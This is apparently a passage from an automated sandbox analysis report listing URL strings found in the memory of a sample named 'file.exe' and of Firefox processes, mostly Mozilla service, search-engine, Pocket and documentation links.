Source: firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001F.00000002.3006356102.000001B11BFAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000001F.00000002.2954167196.000001B10663A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001F.00000002.2953298471.000001B104830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001F.00000003.2916313880.000001B112C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916533692.000001B112E1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984824415.000001B1161D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916983014.000001B112E5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Zy
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsScheme
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001F.00000002.2977814930.000001B1153C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001F.00000002.3024586000.00003E9C36B3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2962205193.000001B1110E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001F.00000002.2975520738.000001B115003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001F.00000003.2939661646.000001B11E0F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001F.00000003.2939661646.000001B11E0F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001F.00000003.2916313880.000001B112C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916533692.000001B112E1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916983014.000001B112E5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959421322.000001B106A00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/google-analytics-ecommerce-plugin.jsextension/d
Source: firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001F.00000002.3006356102.000001B11BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001F.00000002.2962205193.000001B11107F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2977960842.000001B115408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001F.00000002.2977960842.000001B115408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001F.00000002.2977960842.000001B115431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2969238159.000001B112DCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2964737783.000001B111ABA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
